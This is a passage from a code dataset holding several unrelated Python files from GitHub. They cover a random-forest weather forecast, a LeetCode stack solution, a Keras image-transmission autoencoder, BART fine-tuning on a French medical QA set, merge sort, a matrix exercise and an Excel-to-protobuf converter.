[13.77083333, 13.94, 21.7, 80.04166667, 66.70833333, 0, 6, 7, 2023, 3], # 30th/07/23\r\n [15.15291667, 14.49, 21.27, 84.625, 70.79166667, 0, 0, 7, 2023, 3] # 31st/07/23\r\n # ... continue with data for the remaining days\r\n]\r\n\r\n\r\n# Create a DataFrame for the next 7 days' features\r\nrecent_features_flattened = np.array(recent_features).reshape(1, -1)\r\n\r\n# Predict the temperatures for the next 7 days\r\npredicted_temperatures = rf_regressor.predict(recent_features_flattened)\r\n\r\nprint(\"Predicted Temperatures for the Next 7 Days:\")\r\nprint(predicted_temperatures)\r\n\r\n\r\n# Predicted temperatures\r\npredicted_temperatures = np.array([[16.77612774, 16.97409733, 17.21288868, 17.17135833, 17.4129405, 17.75097914, 17.93978197]])\r\n\r\n# Actual temperatures\r\nactual_temperatures = np.array([16.42708333, 16.5528, 19.19333333, 19.36375, 19.17, 17.38166667, 17.83125])\r\n\r\n# Calculate the squared differences between predicted and actual temperatures\r\nsquared_diff = (predicted_temperatures - actual_temperatures)**2\r\n\r\n# Calculate the mean squared difference\r\nmean_squared_diff = np.mean(squared_diff)\r\n\r\n# Calculate the Root Mean Squared Error (RMSE)\r\nrmse = sqrt(mean_squared_diff)\r\n\r\nprint(f\"Root Mean Squared Error: {rmse}\")\r\n\r\n#########################################\r\n#########################################\r\n#########################################\r\n\r\n#hypertuning:\r\n\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.metrics import mean_squared_error, r2_score\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.model_selection import GridSearchCV\r\nfrom sklearn.model_selection import train_test_split\r\nfrom math import sqrt\r\n\r\n# Load your dataset\r\ndata = pd.read_csv(r'C:\\Users\\white\\Desktop\\Dissertation\\data\\temp_weather.csv')\r\n\r\n# Define the sequence length (n-1 days)\r\nsequence_length = 7\r\n\r\nfeatures = ['dew_point', 'temp_min', 'temp_max', 'humidity', 'clouds_all', 'snow_1h', 'day_of_week', 'month', 'year', 'season']\r\ntarget_temp = 'temp' # Target variable for temperature prediction\r\n\r\n# Splitting the data into features and targets\r\nX = data[features]\r\ny = data[target_temp]\r\n\r\n# Create sequences and corresponding target values\r\nX_sequences = []\r\ny_sequences = []\r\n\r\nfor i in range(len(data) - sequence_length - 7):\r\n X_sequences.append(X.iloc[i:i+sequence_length].values)\r\n y_sequences.append(y.iloc[i+sequence_length:i+sequence_length+7].values)\r\n\r\nX_sequences = np.array(X_sequences)\r\ny_sequences = np.array(y_sequences)\r\n\r\n# Splitting into training and testing sets\r\nX_train, X_test, y_train, y_test = train_test_split(X_sequences, y_sequences, test_size=0.2, random_state=42)\r\n\r\n# Create a Random Forest Regressor\r\nrf_regressor = RandomForestRegressor(random_state=42)\r\n\r\n# Define a parameter grid for hyperparameter tuning\r\nparam_grid = {\r\n 'n_estimators': [50, 100, 150],\r\n 'max_depth': [None, 10, 20],\r\n 'min_samples_split': [2, 5, 10],\r\n 'min_samples_leaf': [1, 2, 4]\r\n}\r\n\r\n# Create a GridSearchCV object\r\ngrid_search = GridSearchCV(estimator=rf_regressor, param_grid=param_grid, cv=3, n_jobs=-2, verbose=2)\r\n\r\n# Fit the model with the grid search\r\ngrid_search.fit(X_train.reshape(X_train.shape[0], -1), y_train)\r\n\r\n# Get the best parameters from the grid search\r\nbest_params = grid_search.best_params_\r\nprint(\"Best Parameters:\", best_params)\r\n\r\n# Use the best model to make predictions\r\nbest_model = grid_search.best_estimator_\r\ny_pred = best_model.predict(X_test.reshape(X_test.shape[0], -1))\r\n\r\n# Calculate the Mean Squared Error (MSE)\r\nmse = mean_squared_error(y_test, y_pred)\r\nrmse = sqrt(mse)\r\n\r\n# Calculate the R-squared score\r\nr2 = r2_score(y_test, y_pred)\r\n\r\nprint(f\"Mean Squared Error: {mse}\")\r\nprint(f\"Root Mean Squared Error: {rmse}\")\r\nprint(f\"R-squared Score: {r2}\")\r\n\r\n# Sample data for the next 7 days \r\nrecent_features = [\r\n [10.05708333, 11.69, 21.21, 67.95833333, 63.45833333, 0, 1, 7, 2023, 3], # 25th/07/23\r\n [11.098, 8.08, 23.95, 72.76, 60.6, 0, 2, 7, 2023, 3], # 26th/07/23\r\n [17.01875, 15.32, 22.83, 87.5, 86.33333333, 0, 3, 7, 2023, 3], # 27th/07/23\r\n [15.41833333, 15.88, 24.05, 78.41666667, 86.41666667, 0, 4, 7, 2023, 3], # 28th/07/23\r\n [13.36833333, 15.58, 23.99, 70.45833333, 43.66666667, 0, 5, 7, 2023, 3], # 29th/07/23\r\n [13.77083333, 13.94, 21.7, 80.04166667, 66.70833333, 0, 6, 7, 2023, 3], # 30th/07/23\r\n [15.15291667, 14.49, 21.27, 84.625, 70.79166667, 0, 0, 7, 2023, 3] # 31st/07/23\r\n # ... continue with data for the remaining days\r\n]\r\n\r\n# Create a DataFrame for the next 7 days' features\r\nrecent_features_flattened = np.array(recent_features).reshape(1, -1)\r\n\r\n# Predict the temperatures for the next 7 days\r\npredicted_temperatures = best_model.predict(recent_features_flattened)\r\n\r\nprint(\"Predicted Temperatures for the Next 7 Days:\")\r\nprint(predicted_temperatures)\r\n\r\n#################\r\n###################\r\n\r\nimport numpy as np\r\nimport pandas as pd\r\nfrom sklearn.metrics import mean_squared_error, r2_score\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.model_selection import GridSearchCV, TimeSeriesSplit\r\nfrom math import sqrt\r\n\r\n# Load your dataset\r\ndata = pd.read_csv(r'C:\\Users\\white\\Desktop\\Dissertation\\data\\temp_weather.csv')\r\n\r\n# Define the sequence length (n-1 days)\r\nsequence_length = 7\r\n\r\nfeatures = ['dew_point', 'temp_min', 'temp_max', 'humidity', 'clouds_all', 'snow_1h', 'day_of_week', 'month', 'year', 'season']\r\ntarget_temp = 'temp' # Target variable for temperature prediction\r\n\r\n# Splitting the data into features and targets\r\nX = data[features]\r\ny = data[target_temp]\r\n\r\n# Create sequences and corresponding target values\r\nX_sequences = []\r\ny_sequences = []\r\n\r\nfor i in range(len(data) - sequence_length - 7):\r\n X_sequences.append(X.iloc[i:i+sequence_length].values)\r\n y_sequences.append(y.iloc[i+sequence_length:i+sequence_length+7].values)\r\n\r\nX_sequences = np.array(X_sequences)\r\ny_sequences = np.array(y_sequences)\r\n\r\n# Calculate the index where the split should occur\r\nsplit_index = int(len(data) * 0.8) # 80% train, 20% test\r\n\r\n\r\n\r\n# Splitting into training and testing sets\r\nX_train, X_test = X_sequences[:split_index], X_sequences[split_index:]\r\ny_train, y_test = y_sequences[:split_index], y_sequences[split_index:]\r\ny_test\r\n# Define a parameter grid for hyperparameter tuning\r\nparam_grid = {\r\n 'n_estimators': [50, 100, 150],\r\n 'max_depth': [None, 10, 20],\r\n 'min_samples_split': [2, 5, 10],\r\n 'min_samples_leaf': [1, 2, 4]\r\n}\r\n\r\n# Create a Random Forest Regressor\r\nrf_regressor = RandomForestRegressor(random_state=42)\r\n\r\n# Create a TimeSeriesSplit object\r\ntscv = TimeSeriesSplit(n_splits=3)\r\n\r\n# Create a GridSearchCV object with time series cross-validation\r\ngrid_search = GridSearchCV(estimator=rf_regressor, param_grid=param_grid, cv=tscv, n_jobs=-2, verbose=2)\r\n\r\n# Fit the model with the grid search\r\ngrid_search.fit(X_train.reshape(X_train.shape[0], -1), y_train)\r\n\r\n# Get the best parameters from the grid search\r\nbest_params = grid_search.best_params_\r\nprint(\"Best Parameters:\", best_params)\r\n\r\n# Use the best model to make predictions\r\nbest_model = grid_search.best_estimator_\r\n\r\ny_pred = best_model.predict(X_test.reshape(X_test.shape[0], -1))\r\n\r\n# Calculate the Mean Squared Error (MSE)\r\nmse = mean_squared_error(y_test, y_pred)\r\nrmse = sqrt(mse)\r\n\r\n# Calculate the R-squared score\r\nr2 = r2_score(y_test, y_pred)\r\n\r\nprint(f\"Mean Squared Error: {mse}\")\r\nprint(f\"Root Mean Squared Error: {rmse}\")\r\nprint(f\"R-squared Score: {r2}\")\r\n\r\n# Determine the number of data points corresponding to the latest 6 months\r\nnum_months = 6\r\nnum_data_points = 30 * num_months # Assuming an average of 30 data points per month\r\n\r\n# Calculate the starting index for the subset\r\nstart_index = len(y_test) - num_data_points\r\n\r\n# Extract the actual and predicted values for the subset\r\nsubset_y_test = y_test[start_index:]\r\nsubset_y_pred = y_pred_scaled[start_index:]\r\n\r\n# Plotting the predicted and real values for the subset\r\nplt.figure(figsize=(12, 6))\r\nplt.plot(subset_y_test, label='Real', color='orange')\r\nplt.plot(subset_y_pred, label='Predicted', color='blue', linestyle='--')\r\n\r\nplt.title('Predicted vs. Real Temperature Values 1111111(Latest 6 Months)')\r\nplt.xlabel('Data Point Index')\r\nplt.ylabel('Temperature')\r\nplt.grid(True)\r\nplt.legend()\r\nplt.show()\r\nprint(y_test)\r\n\r\n\r\n# Sample data for the next 7 days \r\nrecent_features = [\r\n [10.05708333, 11.69, 21.21, 67.95833333, 63.45833333, 0, 1, 7, 2023, 3], # 25th/07/23\r\n [11.098, 8.08, 23.95, 72.76, 60.6, 0, 2, 7, 2023, 3], # 26th/07/23\r\n [17.01875, 15.32, 22.83, 87.5, 86.33333333, 0, 3, 7, 2023, 3], # 27th/07/23\r\n [15.41833333, 15.88, 24.05, 78.41666667, 86.41666667, 0, 4, 7, 2023, 3], # 28th/07/23\r\n [13.36833333, 15.58, 23.99, 70.45833333, 43.66666667, 0, 5, 7, 2023, 3], # 29th/07/23\r\n [13.77083333, 13.94, 21.7, 80.04166667, 66.70833333, 0, 6, 7, 2023, 3], # 30th/07/23\r\n [15.15291667, 14.49, 21.27, 84.625, 70.79166667, 0, 0, 7, 2023, 3] # 31st/07/23\r\n # ... continue with data for the remaining days\r\n]\r\n\r\n# Create a DataFrame for the next 7 days' features\r\nrecent_features_flattened = np.array(recent_features).reshape(1, -1)\r\n\r\n# Predict the temperatures for the next 7 days\r\npredicted_temperatures = best_model.predict(recent_features_flattened)\r\n\r\nprint(\"Predicted Temperatures for the Next 7 Days:\")\r\nprint(predicted_temperatures)","repo_name":"qt22010/Dissertation","sub_path":"Failed/random forest grid search cv weather temp test2.py","file_name":"random forest grid search cv weather temp test2.py","file_ext":"py","file_size_in_byte":19176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"2477184935","text":"class Solution:\n def sumSubarrayMins(self, arr: List[int]) -> int:\n \"\"\"\n end of the arr: [-1, len(arr)]\n value = arr[i] * (i - l_i) * (r_i - i)\n e.g. [1,2] = 1*2 + 2\n result for 1 is 1 * (0 - -1) * (2 - 0) = 2\n \"\"\"\n stack = []\n lresult = [0] * len(arr)\n for i in range(len(arr)):\n while stack and arr[stack[-1]] >= arr[i]:\n stack.pop(-1)\n lresult[i] = stack[-1] if stack else -1\n stack.append(i)\n \n stack = []\n rresult = [0] * len(arr)\n for i in range(len(arr)-1, -1, -1):\n # note: no equal sign here\n while stack and arr[stack[-1]] > arr[i]:\n stack.pop(-1)\n rresult[i] = stack[-1] if stack else len(arr)\n stack.append(i)\n\n ans = 0\n d = 10**9 + 7\n for i in range(len(arr)):\n val = arr[i] * (i - lresult[i]) * (rresult[i] - i)\n ans = (ans + val) % d\n return ans\n ","repo_name":"OhYoooo/Leetcode","sub_path":"python/4.Stack/monotonic-stack/907.Sum-of-Subarray-Minimums.py","file_name":"907.Sum-of-Subarray-Minimums.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"24176508468","text":"# -*- coding: utf-8 -*-\n\nimport copy\n\nclass CenterNet:\n\n def __init__(self, features=[]):\n self.features = copy.deepcopy(features) # 中心点自己的特征向量\n self.index = 0 # 第几笔资料或第几颗神经元\n self.sigma = 1.0\n self.sum_singal = 0.0 # ||X(p) - Cj(P)||, the center net sums features of pattern to center the distance.\n self.rbf_value = 0.0 # The RBF value of this center of current pattern.\n\n def refresh_features(self, new_features=[]):\n if not new_features:\n return\n self.features = copy.deepcopy(new_features)\n","repo_name":"xiechuanj/AIDemo","sub_path":"RBFNN/nets/center_net.py","file_name":"center_net.py","file_ext":"py","file_size_in_byte":679,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71492898435","text":"import pickle, os, sys\nimport numpy as np\nfrom keras.layers import Conv2D, Dense, Input, Conv2DTranspose, MaxPooling2D, UpSampling2D\nfrom keras.models import Model\nfrom keras.layers.normalization import BatchNormalization\nfrom keras.callbacks import ModelCheckpoint\n\n# Creation of custom AWGN layer\nfrom keras import backend as K\nfrom keras.engine.topology import Layer\n\nfrom keras.layers.advanced_activations import PReLU\n##class PRELU(PReLU):\n## def __init__(self, **kwargs):\n## self.__name__ = \"PRELU\"\n## super(PRELU, self).__init__(**kwargs)\n\nclass AWGN(Layer):\n\n def __init__(self, stddev, **kwargs):\n super(AWGN, self).__init__(**kwargs)\n self.supports_masking = True\n self.stddev = stddev\n\n def call(self, inputs, training=None):\n def noised():\n return inputs + K.random_normal(shape=K.shape(inputs),\n mean=0.,\n stddev=self.stddev)\n return K.in_train_phase(noised, noised, training=training)\n\n def get_config(self):\n config = {'stddev': self.stddev}\n base_config = super(AWGN, self).get_config()\n return dict(list(base_config.items()) + list(config.items()))\n\n def compute_output_shape(self, input_shape):\n return input_shape\n\n\ndef load_cfar10_batch(cifar10_dataset_folder_path, batch_id=1, test_batch=\"\"):\n if not (test_batch == \"\"):\n fname = cifar10_dataset_folder_path + '/' + test_batch\n else:\n fname = cifar10_dataset_folder_path + '/data_batch_' + str(batch_id)\n\n with open(fname, mode='rb') as file:\n batch = pickle.load(file, encoding='latin1')\n \n features = batch['data'] / 255.0\n features = features.reshape((len(batch['data']), 3, 32, 32)).transpose(0, 2, 3, 1)\n ##features = features.reshape((len(batch['data']), 32, 32, 3))\n \n return features\n\n\nTrainX = load_cfar10_batch('cifar-10-batches-py', 1)\n\nfor i in range(2,6):\n TrainX = np.vstack((TrainX, load_cfar10_batch('cifar-10-batches-py', i)))\n\nTrainy = TrainX\nTestX = Testy = load_cfar10_batch('cifar-10-batches-py', test_batch='test_batch')\nprint( np.shape(TrainX))\n\ndef BuildModel(std, compression_ratio):\n length = int(3072 * compression_ratio / 64)\n input_sig = Input( shape=np.shape(TrainX)[1:] )\n encode = Conv2D(16, kernel_size=(5, 5), strides=(2, 2), padding='same') (input_sig)\n p = PReLU()\n p.__name__ = 'prelu'\n encode = p (encode)\n encode = Conv2D(32, kernel_size=(5, 5), strides=(2, 2), padding='same') (encode)\n p = PReLU()\n p.__name__ = 'prelu'\n encode = p (encode)\n encode = Conv2D(32, kernel_size=(5, 5), strides=(1, 1), padding='same') (encode)\n p = PReLU()\n p.__name__ = 'prelu'\n encode = p (encode)\n encode = Conv2D(32, kernel_size=(5, 5), strides=(1, 1), padding='same') (encode)\n p = PReLU()\n p.__name__ = 'prelu'\n encode = p (encode)\n encode = Conv2D(length, kernel_size=(5, 5), strides=(1, 1), padding='same') (encode)\n p = PReLU()\n p.__name__ = 'prelu'\n encode = p (encode)\n \n encode = BatchNormalization(epsilon=1e-06, center=False, scale=False)(encode)\n channel = AWGN( stddev=std )(encode)\n \n decode = Conv2DTranspose(32, kernel_size=(5, 5), strides=(1, 1), padding='same') (channel)\n p = PReLU()\n p.__name__ = 'prelu'\n decode = p (decode)\n decode = Conv2DTranspose(32, kernel_size=(5, 5), strides=(1, 1), padding='same') (decode)\n p = PReLU()\n p.__name__ = 'prelu'\n decode = p (decode)\n decode = Conv2DTranspose(32, kernel_size=(5, 5), strides=(1, 1), padding='same') (decode)\n p = PReLU()\n p.__name__ = 'prelu'\n decode = p (decode)\n decode = Conv2DTranspose(16, kernel_size=(5, 5), strides=(2, 2), padding='same') (decode)\n p = PReLU()\n p.__name__ = 'prelu'\n decode = p (decode)\n decode = Conv2DTranspose(3, kernel_size=(5, 5), strides=(2, 2), activation='sigmoid', padding='same') (decode)\n \n model = Model(input_sig, decode)\n print(model.summary())\n return model\n\n\nSNR = [8.0]\nstdRange = [( 1.0/(10**(snr/10)) )**.5 for snr in SNR]\njsccModels = [BuildModel(std, compression_ratio=0.5) for std in stdRange]\n\nfor i in range(len(jsccModels)):\n print (\"Now compiling model with \" + str(SNR[i]) + \" SNR.\\n\")\n jsccModels[i].compile(optimizer='adam',\n\t\t loss='mse',\n\t\t metrics=['mse'])\n print (\"Model compilation complete. Begin training....\\n\")\n\n fName = 'img_model_' + str(SNR[i]) + '.h5'\n checkpoint = ModelCheckpoint(fName, monitor='loss', verbose=1, save_best_only=True, mode='min')\n callbacks_list = [checkpoint]\n\n history = jsccModels[i].fit(x = TrainX, y = Trainy, epochs = 150, \n\t\t\t\t verbose = 1, validation_data = (TestX, Testy), callbacks=callbacks_list, batch_size=128)\n\t\t\t\t\t \n print(\"Training model with \" + str(SNR[i]) + \" SNR complete. Next.\\n\")\n","repo_name":"nini16/JSCC_Research","sub_path":"img_data.py","file_name":"img_data.py","file_ext":"py","file_size_in_byte":4863,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"13001024391","text":"import numpy as np\r\nimport pandas as pd\r\n\r\nfrom datasets import load_dataset\r\n\r\nfrom transformers import BartTokenizer\r\nfrom transformers import BartForConditionalGeneration, Trainer, TrainingArguments, Seq2SeqTrainer, Seq2SeqTrainingArguments\r\nfrom transformers import AutoTokenizer\r\n\r\nfrom sklearn.metrics import accuracy_score, recall_score, precision_score, f1_score\r\n\r\n# MODEL_NAME = 'facebook/bart-large'\r\nMODEL_NAME = 'facebook/bart-base'\r\n\r\nEPOCHS = 30\r\n\r\nBATCH_SIZE = 3 # BASE\r\n# BATCH_SIZE = 2 # LARGE\r\n\r\ndataset = load_dataset(\"./frenchmedmcqa.py\")\r\n\r\ntrain_dataset = dataset[\"train\"]\r\nprint(len(train_dataset))\r\n\r\nval_dataset = dataset[\"validation\"]\r\nprint(len(val_dataset))\r\n\r\ntest_dataset = dataset[\"test\"]\r\nprint(len(test_dataset))\r\n\r\n# Tokenization\r\ntokenizer = BartTokenizer.from_pretrained(MODEL_NAME)\r\n\r\ndef tokenize(batch):\r\n tokenized_input = tokenizer(batch['source'], padding='max_length', truncation=True, max_length=900)\r\n tokenized_label = tokenizer(batch['target'], padding='max_length', truncation=True, max_length=900)\r\n tokenized_input['labels'] = tokenized_label['input_ids']\r\n return tokenized_input\r\n\r\ntrain_dataset = train_dataset.map(tokenize, batched=True, batch_size=512)\r\nval_dataset = val_dataset.map(tokenize, batched=True, batch_size=len(val_dataset))\r\ntest_dataset = test_dataset.map(tokenize, batched=True, batch_size=len(test_dataset))\r\n\r\n# Training\r\nmodel = BartForConditionalGeneration.from_pretrained(MODEL_NAME)\r\noutput_dir = 'output'\r\n\r\ntraining_args = TrainingArguments(\r\n output_dir=output_dir,\r\n num_train_epochs=EPOCHS,\r\n per_device_train_batch_size=BATCH_SIZE,\r\n per_device_eval_batch_size=BATCH_SIZE,\r\n eval_accumulation_steps=1, \r\n learning_rate=0.0001,\r\n evaluation_strategy='steps', \r\n remove_unused_columns=True, \r\n run_name='bart_health_mcqa', \r\n logging_steps=1000, \r\n eval_steps=1000,\r\n adam_beta1=0.7,\r\n adam_beta2=0.9,\r\n adam_epsilon=1.8e-8 \r\n)\r\n\r\ntrainer = Trainer(\r\n model=model,\r\n args=training_args,\r\n train_dataset=train_dataset,\r\n eval_dataset=val_dataset\r\n)\r\n\r\ntrainer.train()\r\ntrainer.save_model(output_dir + '/model')\r\n\r\n###############################################################################\r\n\r\n# Evaluation\r\nmodel_dir = 'output/model'\r\noutput_dir = 'output'\r\nmodel = BartForConditionalGeneration.from_pretrained(model_dir)\r\n\r\ndef compute_metrics(p):\r\n pred, labels = p\r\n pred = np.argmax(pred[0], axis=2)\r\n accuracy = accuracy_score(y_true=labels[0], y_pred=pred[0])\r\n recall = recall_score(y_true=labels[0], y_pred=pred[0], average='macro')\r\n precision = precision_score(y_true=labels[0], y_pred=pred[0], average='macro')\r\n f1 = f1_score(y_true=labels[0], y_pred=pred[0], average='macro')\r\n return {\"accuracy\": accuracy, \"precision\": precision, \"recall\": recall, \"f1\": f1}\r\n\r\npred_args = TrainingArguments(\r\n output_dir=output_dir,\r\n per_device_eval_batch_size=BATCH_SIZE,\r\n remove_unused_columns=True,\r\n eval_accumulation_steps=1\r\n)\r\n\r\nprint(\"\"\"\r\n###############################################################################\r\n# Validation #\r\n###############################################################################\r\n\"\"\")\r\n\r\ntrainer = Trainer(model=model, args=pred_args, compute_metrics=compute_metrics)\r\n\r\npreds, labels, metrics = trainer.predict(val_dataset)\r\npreds_tokens = preds[0].argmax(axis=2)\r\nprint(metrics)\r\n\r\ndecoded_sources = []\r\nfor row in val_dataset:\r\n decoded_sources.append(tokenizer.decode(row['input_ids']))\r\n\r\ndecoded_preds = [tokenizer.decode(pred) for pred in preds_tokens]\r\ndecoded_labels = [tokenizer.decode(label) for label in labels]\r\n\r\noutput = pd.DataFrame({'Source Text': decoded_sources, 'Target Text': decoded_labels, 'Generated Text': decoded_preds})\r\noutput.to_csv(output_dir + \"/predictions_dev.csv\")\r\n\r\nprint(\"\"\"\r\n###############################################################################\r\n# Test #\r\n###############################################################################\r\n\"\"\")\r\n\r\ntrainer = Trainer(model=model, args=pred_args, compute_metrics=compute_metrics)\r\n\r\npreds, labels, metrics = trainer.predict(test_dataset)\r\npreds_tokens = preds[0].argmax(axis=2)\r\nprint(metrics)\r\n\r\ndecoded_sources = []\r\nfor row in test_dataset:\r\n decoded_sources.append(tokenizer.decode(row['input_ids']))\r\n\r\ndecoded_preds = [tokenizer.decode(pred) for pred in preds_tokens]\r\ndecoded_labels = [tokenizer.decode(label) for label in labels]\r\n\r\noutput = pd.DataFrame({'Source Text': decoded_sources, 'Target Text': decoded_labels, 'Generated Text': decoded_preds})\r\noutput.to_csv(output_dir + \"/predictions_test.csv\")\r\n","repo_name":"qanastek/FrenchMedMCQA","sub_path":"BART/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":4780,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"39782193699","text":"def merge(li, low, mid, high):\r\n # 一次归并,前提是两个有序列表\r\n # low到mid是一段有序列表,mid+1到high是另一段有序列表\r\n # 初始化i和j所指的位置\r\n i = low\r\n j = mid+1\r\n ltmp = []\r\n while i<=mid and j<=high:#只要左右两边都有数,那就比一下这两数\r\n if li[i] < li[j]:\r\n ltmp.append(li[i])\r\n i += 1\r\n else:\r\n ltmp.append(li[j])\r\n j += 1\r\n # while执行完后,两个有序列表肯定有一个没数了\r\n while i <= mid:\r\n ltmp.append(li[i])\r\n i += 1\r\n while j <= high:\r\n ltmp.append(li[j])\r\n j += 1\r\n li[low:high+1] = ltmp\r\n\r\n# li = [2,4,5,7,1,3,6,8]\r\n# merge(li,0,3,7)\r\n# print(li)\r\n\r\ndef merge_sort(li,low,high):\r\n if low < high: #至少有两个元素,递归\r\n mid = (low+high)//2\r\n merge_sort(li,low,mid)\r\n merge_sort(li,mid+1,high)\r\n merge(li,low,mid,high)\r\n\r\nli = list(range(1000))\r\nimport random\r\nrandom.shuffle(li)\r\nprint(li)\r\nmerge_sort(li,0,len(li)-1)\r\nprint(li)","repo_name":"Charlesyyun/data-structure-and-algorithm","sub_path":"merge_sort.py","file_name":"merge_sort.py","file_ext":"py","file_size_in_byte":1080,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"16013219198","text":"import random\nm=int(input('ingrese el numero de filas : '))\nn=int(input('ingrese el numero de columnas : '))\nA=[]\nfor i in range(m):\n A.append([])\n for j in range(n):\n num=random.randint(0,20)\n A[i].append(num)\nprint('matriz A: ')\nfor i in range(m):\n print(A[i])\ncpar=0\ncimpar=0\nfor i in range(m):\n for j in range(n):\n residuo=A[i][j]%2\n if residuo==0:\n cpar=cpar+1\n else:\n cimpar=cimpar+1\nprint('el num de pares es : ',cpar)\nprint('el num de impares es : ',cimpar)","repo_name":"gustavofloresSz/trabajos-3er-parcial","sub_path":"MATRICES/Par Impa Matriz.py","file_name":"Par Impa Matriz.py","file_ext":"py","file_size_in_byte":534,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"40613427842","text":"#! /usr/bin/env python\n# coding=utf-8\n\nimport xlrd\nimport sys\nimport os\nimport platform\nimport argparse\nimport shutil\n\nimport imp\nimp.reload(sys)\n\nfrom loghelper import LOG_DEBUG\nfrom loghelper import LOG_INFO\nfrom loghelper import LOG_WARN\nfrom loghelper import LOG_ERROR\nfrom loghelper import Color\n\n# TAP的空格数\nTAP_BLANK_NUM = 4\n\n#OUTPUT_FULE_PATH_BASE = \"gameconfig_\"\ng_pb_file_name = \"\"\ng_struct_name = \"\"\ng_proto_path = \"\"\ng_data_path = \"\"\ng_readable2 = False # 版本2的可读输出\n\nclass SheetInterpreter:\n \"\"\"通过excel配置生成配置的protobuf定义文件\"\"\"\n\n def __init__(self, file_path, sheet_name):\n self._file_path = file_path\n self._sheet_name = sheet_name\n\n # open file\n try:\n self._workbook = xlrd.open_workbook(self._file_path)\n except:\n LOG_ERROR(\"open xls file(%s) failed\" % (self._file_path))\n raise\n\n # get sheet\n try:\n self._sheet = self._workbook.sheet_by_name(self._sheet_name)\n except:\n LOG_ERROR(\"open the sheet(%s) in(%s) failed\" % (self._sheet_name, self._file_path))\n\n # 行数和列数\n self._row_count = len(self._sheet.col_values(0))\n self._col_count = len(self._sheet.row_values(0))\n LOG_INFO(\"row_count:%d, col_count:%d\" % (self._row_count, self._col_count))\n\n self._row = 0\n self._col = 0\n\n # 将所有的输出先写到一个list, 最后统一写到文件\n self._output = []\n # 排版缩进空格数\n self._indentation = 0\n # field number 结构嵌套时使用列表\n # 新增一个结构,行增一个元素,结构定义完成后弹出\n self._field_index_list = [1]\n # 当前行是否输出,避免相同结构重复定义\n self._is_layout = True\n # 保存所有结构的名字\n self._struct_name_list = []\n\n bpos = file_path.rfind(\"/\")\n if bpos < 0:\n bpos = 0\n else:\n bpos += 1\n epos = file_path.rfind(\".\")\n if epos < 0:\n epos = 0\n global g_struct_name\n g_struct_name = self._sheet_name.lower() #file_path[bpos: epos].lower()\n global g_pb_file_name\n g_pb_file_name = g_struct_name + \".proto\"\n\n self._repeated_name_now = {}\n\n def interpreted(self):\n \"\"\"对外的接口\"\"\"\n LOG_INFO(\"begin Interpreter, row_count = %d, col_count = %d\", self._row_count, self._col_count)\n\n self._LayoutFileHeader()\n self._output.append('syntax = \"proto3\";\\n')\n self._output.append(\"package sheet;\\n\")\n\n global g_struct_name\n self._LayoutStructHead(g_struct_name)\n self._IncreaseIndentation()\n \n # 过滤掉不合格的sheet\n scope = self._sheet.cell_value(0, self._col)\n if str(scope) != \"C\" and str(scope) != \"S\" and str(scope) != \"CS\" and str(scope) != \"SC\":\n LOG_ERROR(\"the sheet:%s of the file:%s is not legal sheet\", self._sheet_name, self._file_path)\n return\n\n while self._col < self._col_count:\n self._FieldDefine()\n\n self._DecreaseIndentation()\n self._LayoutStructTail()\n self._LayoutArray()\n self._Write2File()\n\n # 将PB转换成py格式\n try:\n if platform.system() == \"Windows\":\n dirname = os.path.dirname(sys.argv[0])\n command = dirname\n command += \"\\\\protoc.exe \"\n command += \"--proto_path=\" + os.path.join(g_proto_path, \" \")\n command += \"--python_out=\" + os.path.join(g_proto_path, \" \")\n command += g_pb_file_name\n print(command)\n os.system(command)\n else:\n command = \"cd \" + g_proto_path + \"; \"\n command += \"protoc --python_out=. \" + g_pb_file_name\n os.system(command)\n except:\n LOG_ERROR(\"protoc failed!\")\n raise\n\n def _FieldDefine(self):\n LOG_INFO(\"row=%d, col=%d\", self._row, self._col)\n\n scope = self._sheet.cell_value(0, self._col)\n if str(scope) != \"S\" and str(scope) != \"CS\" and str(scope) != \"SC\":\n self._col += 1\n return\n\n field_s_or_r = str(self._sheet.cell_value(1, self._col))\n field_rule = str(self._sheet.cell_value(2, self._col))\n field_name = str(self._sheet.cell_value(3, self._col))\n field_comment = str(self._sheet.cell_value(4, self._col))\n proto_rule = \"\"\n\n field_type = field_rule\n\n # 为了能支持解析singular or repeated的情况\n if field_s_or_r == \"repeated\":\n field_type = \"string\"\n\n if field_rule.startswith(\"array\"):\n proto_rule = \"repeated\"\n if field_name.find(\"[\") >= 0:\n field_name = field_name[0: field_name.find(\"[\")]\n if field_name in self._repeated_name_now:\n self._col += 1\n return\n self._repeated_name_now[field_name] = 1\n else:\n self._repeated_name_now = field_name;\n if field_rule.find(\"int32\") >= 0:\n field_type = \"int32\"\n elif field_rule.find(\"float\") >= 0:\n field_type = \"float\"\n elif field_rule.find(\"string\") >= 0:\n field_type = \"string\"\n else:\n LOG_ERROR(\"parse field_type error col{%d}\" % (self._col))\n\n if field_name.endswith(\"_dt\"):\n field_type = \"DateTime\"\n\n #field_comment = \"\"\n LOG_INFO(\"%s|%s|%s|%s\", field_rule, field_type, field_name, field_comment)\n\n comment = field_comment #.encode(\"utf-8\")\n self._LayoutComment(comment)\n\n self._LayoutOneField(proto_rule, field_type, field_name)\n\n self._col += 1\n return\n\n def _LayoutFileHeader(self):\n \"\"\"生成PB文件的描述信息\"\"\"\n self._output.append(\"/**\\n\")\n self._output.append(\"* @brief: 这个文件是通过工具自动生成的,建议不要手动修改\\n\")\n self._output.append(\"*/\\n\")\n self._output.append(\"\\n\")\n\n def _LayoutStructHead(self, struct_name):\n \"\"\"生成结构头\"\"\"\n if not self._is_layout:\n return\n self._output.append(\"\\n\")\n self._output.append(\" \" * self._indentation + \"message \" + struct_name + \" 